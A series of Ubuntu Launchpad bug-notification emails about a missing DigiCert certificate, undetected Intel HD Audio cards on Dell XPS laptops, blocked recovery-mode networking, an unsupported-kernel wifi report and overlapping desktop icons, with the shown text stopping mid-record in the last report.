[Touch-packages] [Bug 1795242] Re: Digicert certificate is not included
** Description changed: - The "DigiCert High Assurance EV Root CA" certificate is missing, which - means that the system does not trust web sites that are using SSL - certificates signed by that root. An example is a popular website in the - Netherlands https://marktplaats.nl. The result is that no resources - other that the text-only homepage is loaded. + EDIT: This post originally mentioned the "DigiCert High Assurance EV + Root CA", which was the wrong name. The "DigiCert SHA2 Secure Server" + was intended. This post has been edited for clarity. + + - + + The "DigiCert SHA2 Secure Server" certificate is missing, which means + that the system does not trust web sites that are using SSL certificates + signed by that root. An example is a popular website in the Netherlands + https://marktplaats.nl. The result is that no resources other that the + text-only homepage is loaded. Installing the Digicert root certificte manually from Digicert solves the problem: ``` wget https://dl.cacerts.digicert.com/DigiCertSHA2SecureServerCA.crt mv DigiCertSHA2SecureServerCA.crt DigiCertSHA2SecureServerCA.der openssl x509 -inform DER -outform PEM -in DigiCertSHA2SecureServerCA.der -out DigicertSHA2SecureServerCA.pem.crt sudo mkdir -p /usr/share/ca-certificates/extra sudo cp DigicertSHA2SecureServerCA.pem.crt /usr/share/ca-certificates/extra/ sudo dpkg-reconfigure ca-certificates ``` Maybe there is a valid reason for not including this certificate by default, or maybe this certificate can be included by default, since it seems like it's assumed to be included on every machine. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to ca-certificates in Ubuntu. https://bugs.launchpad.net/bugs/1795242 Title: Digicert certificate is not included Status in ca-certificates package in Ubuntu: Confirmed Bug description: EDIT: This post originally mentioned the "DigiCert High Assurance EV Root CA", which was the wrong name. The "DigiCert SHA2 Secure Server" was intended. This post has been edited for clarity. - The "DigiCert SHA2 Secure Server" certificate is missing, which means that the system does not trust web sites that are using SSL certificates signed by that root. An example is a popular website in the Netherlands https://marktplaats.nl. The result is that no resources other that the text-only homepage is loaded. Installing the Digicert root certificte manually from Digicert solves the problem: ``` wget https://dl.cacerts.digicert.com/DigiCertSHA2SecureServerCA.crt mv DigiCertSHA2SecureServerCA.crt DigiCertSHA2SecureServerCA.der openssl x509 -inform DER -outform PEM -in DigiCertSHA2SecureServerCA.der -out DigicertSHA2SecureServerCA.pem.crt sudo mkdir -p /usr/share/ca-certificates/extra sudo cp DigicertSHA2SecureServerCA.pem.crt /usr/share/ca-certificates/extra/ sudo dpkg-reconfigure ca-certificates ``` Maybe there is a valid reason for not including this certificate by default, or maybe this certificate can be included by default, since it seems like it's assumed to be included on every machine. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/ca-certificates/+bug/1795242/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1781294] Re: No sound card detected by PulseAudio and ALSA, but is visible in lspci [Dell XPS 13 9360]
In my case if I do: sudo alsa force-reload the sound card is detected. If I'm plugged into the Dell dock station it keeps detecting only a USB headphone (and it works through that both with pulseaudio and alsa). -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/1781294 Title: No sound card detected by PulseAudio and ALSA, but is visible in lspci [Dell XPS 13 9360] Status in pulseaudio package in Ubuntu: Confirmed Bug description: This is 18.04 LTS but also occurred in 16.04 LTS. I have gone through the troubleshooting steps here: https://help.ubuntu.com/community/SoundTroubleshooting and have included some output of those diagnostic steps below: $ sudo aplay -l aplay: device_list:270: no soundcards found... $ find /lib/modules/`uname -r` | grep snd /lib/modules/4.15.0-23-generic/kernel/sound/synth/emux/snd-emux-synth.ko /lib/modules/4.15.0-23-generic/kernel/sound/synth/snd-util-mem.ko /lib/modules/4.15.0-23-generic/kernel/sound/drivers/pcsp/snd-pcsp.ko /lib/modules/4.15.0-23-generic/kernel/sound/drivers/mpu401/snd-mpu401.ko /lib/modules/4.15.0-23-generic/kernel/sound/drivers/mpu401/snd-mpu401-uart.ko /lib/modules/4.15.0-23-generic/kernel/sound/drivers/snd-mtpav.ko /lib/modules/4.15.0-23-generic/kernel/sound/drivers/snd-mts64.ko /lib/modules/4.15.0-23-generic/kernel/sound/drivers/vx/snd-vx-lib.ko /lib/modules/4.15.0-23-generic/kernel/sound/drivers/snd-aloop.ko /lib/modules/4.15.0-23-generic/kernel/sound/drivers/opl3/snd-opl3-lib.ko /lib/modules/4.15.0-23-generic/kernel/sound/drivers/opl3/snd-opl3-synth.ko ...and lots more $ lspci -v | grep -A7 -i "audio" 00:1f.3 Audio device: Intel Corporation Sunrise Point-LP HD Audio (rev 21) (prog-if 80) Subsystem: Dell Sunrise Point-LP HD Audio Flags: bus master, fast devsel, latency 32, IRQ 131 Memory at dc228000 (64-bit, non-prefetchable) [size=16K] Memory at dc20 (64-bit, non-prefetchable) [size=64K] Capabilities: Kernel driver in use: snd_hda_intel Kernel modules: snd_hda_intel, snd_soc_skl Sound settings still only list dummy output. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: pulseaudio 1:11.1-1ubuntu7.1 ProcVersionSignature: Ubuntu 4.15.0-23.25-generic 4.15.18 Uname: Linux 4.15.0-23-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/seq', '/dev/snd/timer'] failed with exit code 1: CurrentDesktop: ubuntu:GNOME Date: Wed Jul 11 18:44:06 2018 DistributionChannelDescriptor: # This is a distribution channel descriptor # For more information see http://wiki.ubuntu.com/DistributionChannelDescriptor canonical-oem-somerville-xenial-amd64-20160624-2 InstallationDate: Installed on 2017-05-11 (426 days ago) InstallationMedia: Ubuntu 16.04 "Xenial" - Build amd64 LIVE Binary 20160624-10:47 ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash PulseList: Error: command ['pacmd', 'list'] failed with exit code 1: No PulseAudio daemon running, or not running as session daemon. SourcePackage: pulseaudio Symptom: audio UpgradeStatus: Upgraded to bionic on 2018-07-11 (0 days ago) dmi.bios.date: 01/18/2017 dmi.bios.vendor: Dell Inc. dmi.bios.version: 1.3.2 dmi.board.name: 01KT0M dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 9 dmi.chassis.vendor: Dell Inc. dmi.modalias: dmi:bvnDellInc.:bvr1.3.2:bd01/18/2017:svnDellInc.:pnXPS139360:pvr:rvnDellInc.:rn01KT0M:rvrA00:cvnDellInc.:ct9:cvr: dmi.product.family: XPS dmi.product.name: XPS 13 9360 dmi.sys.vendor: Dell Inc. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1781294/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1781294] Re: No sound card detected by PulseAudio and ALSA, but is visible in lspci [Dell XPS 13 9360]
I have a XPS 13 9370 with the same card and I'm seeing exactly the same. My card was being detected correctly in Ubuntu 18.04 but stopped being detected when I upgraded to the Ubuntu 18.10 development version. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/1781294 Title: No sound card detected by PulseAudio and ALSA, but is visible in lspci [Dell XPS 13 9360] Status in pulseaudio package in Ubuntu: Confirmed Bug description: This is 18.04 LTS but also occurred in 16.04 LTS. I have gone through the troubleshooting steps here: https://help.ubuntu.com/community/SoundTroubleshooting and have included some output of those diagnostic steps below: $ sudo aplay -l aplay: device_list:270: no soundcards found... $ find /lib/modules/`uname -r` | grep snd /lib/modules/4.15.0-23-generic/kernel/sound/synth/emux/snd-emux-synth.ko /lib/modules/4.15.0-23-generic/kernel/sound/synth/snd-util-mem.ko /lib/modules/4.15.0-23-generic/kernel/sound/drivers/pcsp/snd-pcsp.ko /lib/modules/4.15.0-23-generic/kernel/sound/drivers/mpu401/snd-mpu401.ko /lib/modules/4.15.0-23-generic/kernel/sound/drivers/mpu401/snd-mpu401-uart.ko /lib/modules/4.15.0-23-generic/kernel/sound/drivers/snd-mtpav.ko /lib/modules/4.15.0-23-generic/kernel/sound/drivers/snd-mts64.ko /lib/modules/4.15.0-23-generic/kernel/sound/drivers/vx/snd-vx-lib.ko /lib/modules/4.15.0-23-generic/kernel/sound/drivers/snd-aloop.ko /lib/modules/4.15.0-23-generic/kernel/sound/drivers/opl3/snd-opl3-lib.ko /lib/modules/4.15.0-23-generic/kernel/sound/drivers/opl3/snd-opl3-synth.ko ...and lots more $ lspci -v | grep -A7 -i "audio" 00:1f.3 Audio device: Intel Corporation Sunrise Point-LP HD Audio (rev 21) (prog-if 80) Subsystem: Dell Sunrise Point-LP HD Audio Flags: bus master, fast devsel, latency 32, IRQ 131 Memory at dc228000 (64-bit, non-prefetchable) [size=16K] Memory at dc20 (64-bit, non-prefetchable) [size=64K] Capabilities: Kernel driver in use: snd_hda_intel Kernel modules: snd_hda_intel, snd_soc_skl Sound settings still only list dummy output. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: pulseaudio 1:11.1-1ubuntu7.1 ProcVersionSignature: Ubuntu 4.15.0-23.25-generic 4.15.18 Uname: Linux 4.15.0-23-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/seq', '/dev/snd/timer'] failed with exit code 1: CurrentDesktop: ubuntu:GNOME Date: Wed Jul 11 18:44:06 2018 DistributionChannelDescriptor: # This is a distribution channel descriptor # For more information see http://wiki.ubuntu.com/DistributionChannelDescriptor canonical-oem-somerville-xenial-amd64-20160624-2 InstallationDate: Installed on 2017-05-11 (426 days ago) InstallationMedia: Ubuntu 16.04 "Xenial" - Build amd64 LIVE Binary 20160624-10:47 ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash PulseList: Error: command ['pacmd', 'list'] failed with exit code 1: No PulseAudio daemon running, or not running as session daemon. SourcePackage: pulseaudio Symptom: audio UpgradeStatus: Upgraded to bionic on 2018-07-11 (0 days ago) dmi.bios.date: 01/18/2017 dmi.bios.vendor: Dell Inc. dmi.bios.version: 1.3.2 dmi.board.name: 01KT0M dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 9 dmi.chassis.vendor: Dell Inc. dmi.modalias: dmi:bvnDellInc.:bvr1.3.2:bd01/18/2017:svnDellInc.:pnXPS139360:pvr:rvnDellInc.:rn01KT0M:rvrA00:cvnDellInc.:ct9:cvr: dmi.product.family: XPS dmi.product.name: XPS 13 9360 dmi.sys.vendor: Dell Inc. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1781294/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1741591] Re: PCI/internal sound card not detected
*** This bug is a duplicate of bug 1781294 *** https://bugs.launchpad.net/bugs/1781294 ** This bug has been marked a duplicate of bug 1781294 No sound card detected by PulseAudio and ALSA, but is visible in lspci [Dell XPS 13 9360] -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to alsa-driver in Ubuntu. https://bugs.launchpad.net/bugs/1741591 Title: PCI/internal sound card not detected Status in alsa-driver package in Ubuntu: New Bug description: I have an HP 15-CC129TX Laptop with Intel Corporation Sunrise Point-LP HD Audio. But Ubuntu 17.10 is not detecting my sound card and is displaying dummy output in my sound settings. ProblemType: Bug DistroRelease: Ubuntu 17.10 Package: alsa-base 1.0.25+dfsg-0ubuntu5 ProcVersionSignature: Ubuntu 4.13.0-21.24-generic 4.13.13 Uname: Linux 4.13.0-21-generic x86_64 ApportVersion: 2.20.7-0ubuntu3.7 Architecture: amd64 CurrentDesktop: ubuntu:GNOME Date: Sat Jan 6 09:07:37 2018 InstallationDate: Installed on 2018-01-05 (0 days ago) InstallationMedia: Ubuntu 17.10 "Artful Aardvark" - Release amd64 (20171018) PackageArchitecture: all SourcePackage: alsa-driver Symptom: audio Title: PCI/internal sound card not detected UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 08/25/2017 dmi.bios.vendor: Insyde dmi.bios.version: F.22 dmi.board.asset.tag: Type2 - Board Asset Tag dmi.board.name: 83F9 dmi.board.vendor: HP dmi.board.version: 46.40 dmi.chassis.type: 10 dmi.chassis.vendor: HP dmi.chassis.version: Chassis Version dmi.modalias: dmi:bvnInsyde:bvrF.22:bd08/25/2017:svnHP:pnHPPavilionLaptop15-cc1xx:pvrType1ProductConfigId:rvnHP:rn83F9:rvr46.40:cvnHP:ct10:cvrChassisVersion: dmi.product.family: 103C_5335KV HP Pavilion dmi.product.name: HP Pavilion Laptop 15-cc1xx dmi.product.version: Type1ProductConfigId dmi.sys.vendor: HP To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/alsa-driver/+bug/1741591/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1781294] Re: No sound card detected by PulseAudio and ALSA, but is visible in lspci [Dell XPS 13 9360]
Status changed to 'Confirmed' because the bug affects multiple users. ** Changed in: pulseaudio (Ubuntu) Status: New => Confirmed -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/1781294 Title: No sound card detected by PulseAudio and ALSA, but is visible in lspci [Dell XPS 13 9360] Status in pulseaudio package in Ubuntu: Confirmed Bug description: This is 18.04 LTS but also occurred in 16.04 LTS. I have gone through the troubleshooting steps here: https://help.ubuntu.com/community/SoundTroubleshooting and have included some output of those diagnostic steps below: $ sudo aplay -l aplay: device_list:270: no soundcards found... $ find /lib/modules/`uname -r` | grep snd /lib/modules/4.15.0-23-generic/kernel/sound/synth/emux/snd-emux-synth.ko /lib/modules/4.15.0-23-generic/kernel/sound/synth/snd-util-mem.ko /lib/modules/4.15.0-23-generic/kernel/sound/drivers/pcsp/snd-pcsp.ko /lib/modules/4.15.0-23-generic/kernel/sound/drivers/mpu401/snd-mpu401.ko /lib/modules/4.15.0-23-generic/kernel/sound/drivers/mpu401/snd-mpu401-uart.ko /lib/modules/4.15.0-23-generic/kernel/sound/drivers/snd-mtpav.ko /lib/modules/4.15.0-23-generic/kernel/sound/drivers/snd-mts64.ko /lib/modules/4.15.0-23-generic/kernel/sound/drivers/vx/snd-vx-lib.ko /lib/modules/4.15.0-23-generic/kernel/sound/drivers/snd-aloop.ko /lib/modules/4.15.0-23-generic/kernel/sound/drivers/opl3/snd-opl3-lib.ko /lib/modules/4.15.0-23-generic/kernel/sound/drivers/opl3/snd-opl3-synth.ko ...and lots more $ lspci -v | grep -A7 -i "audio" 00:1f.3 Audio device: Intel Corporation Sunrise Point-LP HD Audio (rev 21) (prog-if 80) Subsystem: Dell Sunrise Point-LP HD Audio Flags: bus master, fast devsel, latency 32, IRQ 131 Memory at dc228000 (64-bit, non-prefetchable) [size=16K] Memory at dc20 (64-bit, non-prefetchable) [size=64K] Capabilities: Kernel driver in use: snd_hda_intel Kernel modules: snd_hda_intel, snd_soc_skl Sound settings still only list dummy output. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: pulseaudio 1:11.1-1ubuntu7.1 ProcVersionSignature: Ubuntu 4.15.0-23.25-generic 4.15.18 Uname: Linux 4.15.0-23-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/seq', '/dev/snd/timer'] failed with exit code 1: CurrentDesktop: ubuntu:GNOME Date: Wed Jul 11 18:44:06 2018 DistributionChannelDescriptor: # This is a distribution channel descriptor # For more information see http://wiki.ubuntu.com/DistributionChannelDescriptor canonical-oem-somerville-xenial-amd64-20160624-2 InstallationDate: Installed on 2017-05-11 (426 days ago) InstallationMedia: Ubuntu 16.04 "Xenial" - Build amd64 LIVE Binary 20160624-10:47 ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash PulseList: Error: command ['pacmd', 'list'] failed with exit code 1: No PulseAudio daemon running, or not running as session daemon. SourcePackage: pulseaudio Symptom: audio UpgradeStatus: Upgraded to bionic on 2018-07-11 (0 days ago) dmi.bios.date: 01/18/2017 dmi.bios.vendor: Dell Inc. dmi.bios.version: 1.3.2 dmi.board.name: 01KT0M dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 9 dmi.chassis.vendor: Dell Inc. dmi.modalias: dmi:bvnDellInc.:bvr1.3.2:bd01/18/2017:svnDellInc.:pnXPS139360:pvr:rvnDellInc.:rn01KT0M:rvrA00:cvnDellInc.:ct9:cvr: dmi.product.family: XPS dmi.product.name: XPS 13 9360 dmi.sys.vendor: Dell Inc. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1781294/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1793640] Re: [XPS 13 9370, Intel Corporation Sunrise Point-LP HD Audio (rev 21), Speaker, Internal] Pulseaudio fails to detect card
*** This bug is a duplicate of bug 1781294 *** https://bugs.launchpad.net/bugs/1781294 I've changed the title because according to lspci the audio device is actually Intel Corporation Sunrise Point-LP HD Audio (rev 21) ** Summary changed: - [XPS 13 9370, Realtek ALC3271, Speaker, Internal] Pulseaudio fails to detect card + [XPS 13 9370, Intel Corporation Sunrise Point-LP HD Audio (rev 21), Speaker, Internal] Pulseaudio fails to detect card ** This bug has been marked a duplicate of bug 1781294 No sound card detected by PulseAudio and ALSA, but is visible in lspci [Dell XPS 13 9360] -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to alsa-driver in Ubuntu. https://bugs.launchpad.net/bugs/1793640 Title: [XPS 13 9370, Intel Corporation Sunrise Point-LP HD Audio (rev 21), Speaker, Internal] Pulseaudio fails to detect card Status in alsa-driver package in Ubuntu: New Status in pulseaudio package in Ubuntu: New Bug description: After upgrading to the 18.10 development version from 18.04 only "Dummy sound" is shown. The speakers are not recognized, but plugging headphones works. The system was working well in 18.04. With: sudo alsa force-reload the speakers start to be shown in the sound system parameters and sound is reproduced through the speakers normally. ProblemType: Bug DistroRelease: Ubuntu 18.10 Package: pulseaudio 1:12.2-0ubuntu3 ProcVersionSignature: Ubuntu 4.15.0-34.37-generic 4.15.18 Uname: Linux 4.15.0-34-generic x86_64 ApportVersion: 2.20.10-0ubuntu11 Architecture: amd64 AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/by-id', '/dev/snd/pcmC1D1p', '/dev/snd/pcmC1D0c', '/dev/snd/pcmC1D0p', '/dev/snd/controlC1', '/dev/snd/by-path', '/dev/snd/hwC0D2', '/dev/snd/hwC0D0', '/dev/snd/pcmC0D10p', '/dev/snd/pcmC0D9p', '/dev/snd/pcmC0D8p', '/dev/snd/pcmC0D7p', '/dev/snd/pcmC0D3p', '/dev/snd/pcmC0D0c', '/dev/snd/pcmC0D0p', '/dev/snd/controlC0', '/dev/snd/seq', '/dev/snd/timer'] failed with exit code 1: CurrentDesktop: Unity:Unity7:ubuntu Date: Fri Sep 21 07:18:03 2018 InstallationDate: Installed on 2018-04-09 (164 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Alpha amd64 (20180408) SourcePackage: pulseaudio Symptom: audio Symptom_Card: HDA-Intel - HDA Intel PCH Symptom_Jack: Speaker, Internal Title: [XPS 13 9370, Realtek ALC3271, Speaker, Internal] Pulseaudio fails to detect card UpgradeStatus: Upgraded to cosmic on 2018-09-18 (2 days ago) dmi.bios.date: 08/09/2018 dmi.bios.vendor: Dell Inc. dmi.bios.version: 1.5.1 dmi.board.name: 0F6P3V dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 10 dmi.chassis.vendor: Dell Inc. dmi.modalias: dmi:bvnDellInc.:bvr1.5.1:bd08/09/2018:svnDellInc.:pnXPS139370:pvr:rvnDellInc.:rn0F6P3V:rvrA00:cvnDellInc.:ct10:cvr: dmi.product.family: XPS dmi.product.name: XPS 13 9370 dmi.sys.vendor: Dell Inc. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/alsa-driver/+bug/1793640/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1766872] Re: 'Enable Network' in recovery mode not working properly.
** Tags added: patch -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to systemd in Ubuntu. https://bugs.launchpad.net/bugs/1766872 Title: 'Enable Network' in recovery mode not working properly. Status in friendly-recovery package in Ubuntu: In Progress Status in systemd package in Ubuntu: Won't Fix Status in friendly-recovery source package in Xenial: In Progress Status in systemd source package in Xenial: Won't Fix Status in friendly-recovery source package in Bionic: In Progress Status in systemd source package in Bionic: Won't Fix Status in friendly-recovery source package in Cosmic: In Progress Status in systemd source package in Cosmic: Won't Fix Status in friendly-recovery source package in DD-Series: Invalid Status in systemd source package in DD-Series: Won't Fix Bug description: This bug has been noticed after the introduction of the fix of (LP: #1682637) in Bionic. I have notice a block in Bionic when choosing 'Enable Network' option in recovery mode on different bionic vanilla system and I can reproduce all the time. I also asked colleagues to give it a try (for a second pair of eye on this) and they have the same result as me. Basically, when choosing 'Enable Network' it get block or lock. If we hit 'ctrl-c', then a shell arrive and the system has network connectivity. Here's what I find while enabling "systemd.debug-shell=1" from vtty9 : # pstree systemd-+-bash---pstree |-recovery-menu---network---systemctl---systemd-tty-ask |-systemd-journal # ps root 486 473 0 08:29 tty1 00:00:00 /bin/systemd-tty-ask-password-agent root 473 486 0 08:29 tty1 00:00:00 systemctl start dbus.socket root 486 283 0 08:29 tty1 00:00:00 /bin/sh /lib/recovery- mode/options/network Additionally, systemd-analyze blame: "Bootup is not yet finished. Please try again later" "systemctl list-jobs" is showing a 100 jobs in 'waiting' state The only 'running' unit is friendly-recovery.service : 52 friendly-recovery.service start running The rest are all "waiting". My understanding is that "waiting" units will be executed only after those which are "running" are completed. Which explain why the "ctlr-c" allow the boot to continue. All the systemd special unit important at boot-up are waiting. 7 sysinit.target start waiting 3 basic.target start waiting . Seems like systemd is not fully initialise in 'Recovery Mode' and doesn't allow any 'systemctl start' operation without password/passphrase request, which I suspect is hidden by the recovery-mode menu. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/friendly-recovery/+bug/1766872/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1795730] Re: Wifi (Qualcomm Atheros AR5006EG) does not work on kernel 3.13
This bug appears to be invalid. You are using Ubuntu 18.04 but only with kernel 3.13. Ubuntu 18.04 was released with kernel 4.15 so is not supported with older kernels. ** Summary changed: - dont start wlan adapter would not found + Wifi (Qualcomm Atheros AR5006EG) does not work on kernel 3.13 ** Package changed: xorg (Ubuntu) => linux (Ubuntu) ** Changed in: linux (Ubuntu) Status: New => Invalid -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1795730 Title: Wifi (Qualcomm Atheros AR5006EG) does not work on kernel 3.13 Status in linux package in Ubuntu: Invalid Bug description: ? ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: xorg 1:7.7+19ubuntu7.1 ProcVersionSignature: Ubuntu 3.13.0-49.83-generic 3.13.11-ckt17 Uname: Linux 3.13.0-49-generic i686 NonfreeKernelModules: hid_generic usbhid hid usb_storage sdhci_pci psmouse firewire_ohci firewire_core sdhci ahci libahci crc_itu_t pata_acpi sky2 .tmp.unity_support_test.1: ApportVersion: 2.20.9-0ubuntu7.4 Architecture: i386 CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: None Date: Tue Oct 2 21:15:19 2018 DistUpgraded: Fresh install DistroCodename: bionic DistroVariant: ubuntu DpkgLog: GraphicsCard: Intel Corporation Mobile 945GM/GMS, 943/940GML Express Integrated Graphics Controller [8086:27a2] (rev 03) (prog-if 00 [VGA controller]) Subsystem: Fujitsu Limited. Mobile 945GM/GMS, 943/940GML Express Integrated Graphics Controller [10cf:1381] Subsystem: Fujitsu Limited. Mobile 945GM/GMS/GME, 943/940GML Express Integrated Graphics Controller [10cf:1381] MachineType: FUJITSU SIEMENS LIFEBOOK C1410 ProcEnviron: PATH=(custom, no user) LANG=de_DE.UTF-8 SHELL=/bin/bash ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-3.13.0-49-generic root=UUID=d3da7ca0-c6bd-4903-82cc-2179da8e7c3b ro recovery nomodeset Renderer: Software SourcePackage: xorg UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 10/05/2007 dmi.bios.vendor: FUJITSU // Phoenix Technologies Ltd. dmi.bios.version: Version 1.13 dmi.board.name: FJNB1BB dmi.board.vendor: FUJITSU dmi.board.version: CP298000-04 dmi.chassis.type: 10 dmi.chassis.vendor: FUJITSU SIEMENS dmi.chassis.version: C1410 dmi.modalias: dmi:bvnFUJITSU//PhoenixTechnologiesLtd.:bvrVersion1.13:bd10/05/2007:svnFUJITSUSIEMENS:pnLIFEBOOKC1410:pvr:rvnFUJITSU:rnFJNB1BB:rvrCP298000-04:cvnFUJITSUSIEMENS:ct10:cvrC1410: dmi.product.name: LIFEBOOK C1410 dmi.sys.vendor: FUJITSU SIEMENS version.compiz: compiz 1:0.9.13.1+18.04.20180302-0ubuntu1 version.libdrm2: libdrm2 2.4.91-2 version.libgl1-mesa-dri: libgl1-mesa-dri 18.0.5-0ubuntu0~18.04.1 version.libgl1-mesa-glx: libgl1-mesa-glx 18.0.5-0ubuntu0~18.04.1 version.xserver-xorg-core: xserver-xorg-core 2:1.19.6-1ubuntu4 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev 1:2.10.5-1ubuntu1 version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:18.0.1-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20171229-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.15-2 xserver.bootTime: Tue Oct 2 21:00:20 2018 xserver.configfile: default xserver.logfile: /var/log/Xorg.0.log xserver.outputs: xserver.version: 2:1.19.6-1ubuntu4 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1795730/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1795721] Re: Newly mounted drive icons jumbled with Desktop icons.
** Package changed: xorg (Ubuntu) => nautilus (Ubuntu) -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to xorg in Ubuntu. https://bugs.launchpad.net/bugs/1795721 Title: Newly mounted drive icons jumbled with Desktop icons. Status in nautilus package in Ubuntu: New Bug description: The icons for newly mounted [flash] drives automatically appear directly on top of existing desktop icons even if the the "Keep aligned" context menu has previously been selected. It can easily be corrected by selecting "Organize Desktop by Name" from the context menu, but past versions of Ubuntu have usually accomplished this automatically upon flash drive mounting without the need for doing it manually. I will attach a screenshot where you can see the icons mixed together. It appears to affect only flash drives and only the first one that is inserted, as additional drives that are added appear automatically organized on the Desktop. I'm not sure if it has anything to do with the size of the flash drive or not because my 2GB drive would not appear on the Desktop (or anywhere else for that matter) at all... ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: xorg 1:7.7+19ubuntu7.1 ProcVersionSignature: Ubuntu 4.15.0-34.37-generic 4.15.18 Uname: Linux 4.15.0-34-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log' CompizPlugins: No value set for `/apps/compiz-1/general/screen0/options/active_plugins' CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Tue Oct 2 12:30:21 2018 DistUpgraded: Fresh install DistroCodename: bionic DistroVariant: ubuntu DkmsStatus: virtualbox, 5.2.10, 4.15.0-34-generic, x86_64: installed DpkgLog: ExtraDebuggingInterest: Yes, if not too technical GraphicsCard: Intel Corporation 3rd Gen Core processor Graphics Controller [8086:0156] (rev 09) (prog-if 00 [VGA controller]) Subsystem: Hewlett-Packard Company 3rd Gen Core processor Graphics Controller [103c:1854] InstallationDate: Installed on 2018-09-02 (30 days ago) InstallationMedia: Ubuntu 18.04.1 LTS "Bionic Beaver" - Release amd64 (20180725) MachineType: Hewlett-Packard HP 2000 Notebook PC ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-34-generic root=UUID=11b3a365-ed63-4add-b6d2-0d7fe34d05bb ro quiet splash vt.handoff=1 SourcePackage: xorg Symptom: display UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 06/16/2014 dmi.bios.vendor: Insyde dmi.bios.version: F.46 dmi.board.asset.tag: Type2 - Board Asset Tag dmi.board.name: 1854 dmi.board.vendor: 